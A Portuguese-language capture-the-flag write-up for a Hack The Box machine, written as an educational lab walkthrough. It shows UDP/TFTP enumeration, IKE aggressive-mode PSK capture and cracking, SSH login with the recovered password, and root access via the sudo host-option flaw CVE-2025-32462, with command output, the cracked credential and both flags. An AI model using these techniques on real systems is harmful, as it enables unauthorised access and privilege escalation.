Enumeration

Primeriamente faremos o Nmap das portas desta máquina:

```
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 06:56
Completed NSE at 06:56, 0.00s elapsed
Initiating NSE at 06:56
Completed NSE at 06:56, 0.00s elapsed
Initiating NSE at 06:56
Completed NSE at 06:56, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.05 seconds
           Raw packets sent: 76653 (3.373MB) | Rcvd: 72237 (2.889MB)
```

Como podemos ver apenas uma porta esta aberta a 22 rodando um ssh.
Vamos fazer um segundo Nmap, agora buscando por portas UDP

```
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
500/udp   open   isakmp
16779/udp closed unknown
17331/udp closed unknown
20262/udp closed unknown
21625/udp closed unknown
45380/udp closed unknown
49214/udp closed unknown

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
           Raw packets sent: 2084 (98.042KB) | Rcvd: 11 (874B)
```

Com o scan de UPD (-sU) podemos ver a porta 500 aberta, vamos scanear todas as 65k portas para ver oque encontramos, também há a opção de scanear apenas as 20 principais portas UDP com o comando (--top-ports=20).

Fiz o Scan das duas formas scaneando todas as portas e utilizando o --top-ports=20, e apenas a segnda opção mostrou todas as portas aberstas entre essa 20:

```
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).

PORT       STATE         SERVICE
53/udp     closed        domain
67/udp     open|filtered dhcps
68/udp     open|filtered dhcpc
69/udp     open|filtered tftp
123/udp    open|filtered ntp
135/udp    open|filtered msrpc
137/udp    closed        netbios-ns
138/udp    open|filtered netbios-dgm
139/udp    open|filtered netbios-ssn
161/udp    open|filtered snmp
162/udp    open|filtered snmptrap
445/udp    open|filtered microsoft-ds
500/udp    open          isakmp
514/udp    closed        syslog
520/udp    open|filtered route
631/udp    open|filtered ipp
1434/udp   closed        ms-sql-m
1900/udp   open|filtered upnp
4500/udp   open|filtered nat-t-ike
49152/udp  open|filtered unknown

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
           Raw packets sent: 56 (3.828KB) | Rcvd: 11 (962B)
```

Entendendo o servido

Podemos observar que o exercicio nos orienta a explorar o servidor tftp, então vamos descobrir como logar nele

```bash
tftp [endereço_ip_do_servidor]
```

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# tftp 10.129.238.52
tftp>
```

Pronto estamos no servidor, pesquisando descobri que o servidos apenas suporta o comando get, e ainda não sabemos que arquivos residem nele, tentei get com alguns nomes comuns de arquivos (config, config.txt, hosts) mas não tivemos sorte, fui pesquisar e encontrei este comando aqui:

*__--script=tftp-enum__ ,ele le a porta e procurara por nomes comuns de arquivos, talvez possamos dar alguma sorte.

```
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).

PORT    STATE SERVICE
69/udp open  tftp
| tftp-enum:
|_  ciscortr.cfg

Nmap done: 1 IP address (1 host up) scanned in 81.27 seconds
```

Pronto, sabemos o nome do arquivo:

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# cat ciscortr.cfg | grep -i "user"
username ike password *****

┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# cat nmap
# Nmap 7.95 scan initiated Tue Mar 31 07:09:19 2026 as: /usr/lib/nmap/nmap -sU -oN nm
ap -v -min-rate 5000 10.129.238.52
Nmap scan report for 10.129.238.52
Host is up (0.15s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
500/udp   open   isakmp
16779/udp closed unknown
17331/udp closed unknown
20262/udp closed unknown
21625/udp closed unknown
45380/udp closed unknown
49214/udp closed unknown

Read data files from: /usr/share/nmap
# Nmap done at Tue Mar 31 07:09:20 2026 -- 1 IP address (1 host up) scanned in 1.05 s
econds
```

Com estas informações conseguimos ir bem mais longe, pois agora sabemos exatamente que serviço esta rodando na porta 500 e o username, vamos fazer um ike-scan para uma segunda enumeração.

IKE-SCAN

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# ike-scan 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Main Mode Handshake returned HDR=(CKY-R=104cf06df9a11e0e) SA=(Enc=3DE
S Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=090026
89dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.154 seconds (6.51 hosts/sec).  1 returned
 handshake; 0 returned notify
```

Verificamos que o método de autenticação é um PSK, então vamos descobri-lo através de um (ike-scan -A (agressive)), buscando um handshake, e depois desencriptografar o hash.

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# ike-scan -A -P 10.129.238.52 > ike-agress
```

```
a95800d99f453929584b53df65edb97e1671800927d657d87948ff8d88309d1a19f351959d2ec57e1f516
1de043f6924b981968aa68a3054bb72317b6f3de1b568e6d93a6f2cfe8a677ea87d8493c39fd238243f76
a228e6b9969598f71f5bbe3c8ab9862c88ec624a26d1cb4a3b6b2136144ef8a0ac37d6aa7a1d33adc6ef6
5:e73b5168eb43965229d25f1357c0ba89382c44db7eebcd6c6e3c750378f48e73f222b44cd2df8e45e67
fa5734e0f63e4624950a1f33508abfe148cd8fee2cc230892f9e1bd2ce44ced14526a4f229144dc28c631
31a8861f19fc6697135fddfd5b491a9e1f88cef08f5ef0e76a60c1149ffd83825aa10dc3063f8251f23d6
ec2:d540cef2c866613a:fb1d52596e15077c:000000010000000100000098010100040300002401010000
08001000580020002800300018004000280 0b0001000c000400007080030000240201000080010005800 2
0001800300018004000280 0b0001000c000400007080030000240301000080010001800200028003000 18
0040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b00
01000c000400007080:03000000696b65406578707265737377617 92e687462:1702ab1d05522d46c9751
3b395fab35b11e4db3a:d3d7cd6ebcda4b4fd866d64748223d2335c6c4673562149020ca2886719a4a8a:
abfe84c3bd32cd68c1b099368710c55ab9ee9896
```

dentro do arquivo ike-agress estara este hash e você pode descriptografa-lo com

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# psk-crack -d /usr/share/wordlists/rockyou.txt PSK
```

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# psk-crack -d /usr/share/wordlists/rockyou.txt PSK
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash abfe84c3bd32cd68c1b099368710c55ab9e
e9896
Ending psk-crack: 8045040 iterations in 6.008 seconds (1339149.55 iterations/sec)
```

Agora para adquirir a user flag, basta acessar o ssh com as credenciais adquiridas:

```
┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# cat info-ssh
user:ike password:freakingrockstarontheroad

┌──(root㉿kali)-[/home/kali/Downloads/Hack the Box/express-way]
└─# ssh ike@10.129.238.52
The authenticity of host '10.129.238.52 (10.129.238.52)' can't be established.
ED25519 key fingerprint is: SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.238.52' (ED25519) to the list of known hosts.
ike@10.129.238.52's password:
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-
09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 31 13:21:19 2026 from 10.10.15.178
ike@expressway:~$
```

```
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
782c78758f9a5353350c6d89c0ee03f9
ike@expressway:~$
```

Privilege Escalation

Agora precisamos achar uma forma de escalar nosso privilegio
nós vemos um 3 tipo de group o Proxy

```
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$
```

Vamos descobrir oque ele consegue ler, caso tenha dúvidas da pra pesquisar no google ou IA o comando para saber como ver oque o proxy lê:

```bash
find / -group proxy -type f -perm -g+r 2>/dev/null
```

```
ike@expressway:~$ find / -group proxy -type f -perm -g+r 2>/dev/null
/var/spool/squid/netdb.state
/var/log/squid/cache.log.2.gz
/var/log/squid/access.log.2.gz
/var/log/squid/cache.log.1
/var/log/squid/access.log.1
ike@expressway:~$
```

Vamos analisar o acess.log

```
HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/400 3902 POST /sdk - HIER_NONE/- text/h
tml
1753229688.902      0 192.168.68.50 NONE_NONE/400 3896 GET / - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-he
aders - HIER_NONE/- -
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway
.htb - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/h
tml
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 XDGY / - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3916 GET /evox/about - HIER_NONE/-
text/html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3906 GET /HNAP1 - HIER_NONE/- text/
html
1753229689.058      0 192.168.68.50 NONE_NONE/400 3896 PROPFIND / - HIER_NONE/- text/
html
1753229689.058      0 192.168.68.50 TCP_DENIED/403 381 HEAD http://www.google.com/ -
```

```
ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
```

Podemos ver que há um domínio rodando e que a versão do sudo é a 1.9.17, pesquisando um pouco encontraremos um CVE interessante, CVE-2025-32462.

Neste caso ele nos aponta que é possivel utilizar o sudo -h, caso o host seja permitido de acessar dev-server, não conseguimos ver o sudoers para descobrir isso, mas talvez possamos utilizar o dominio!

```
ike@expressway:~$ hostname
expressway.htb
```

```
ike@expressway:~$ sudo -h offramp.expressway.htb -l
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL
```

Perfeito é possivel utilizar desse exploit assim basta, utilizar o comando bash, e poderemos seguir para a root flag.

```
ike@expressway:~$ sudo -h offramp.expressway.htb bash
root@expressway:/home/ike# cd /
root@expressway:/# cd root
root@expressway:~# ls
root.txt
root@expressway:~# cat root.txt
aea1f47b6a70ee79c0d59300eb78e535
root@expressway:~#
```

OBRIGADO!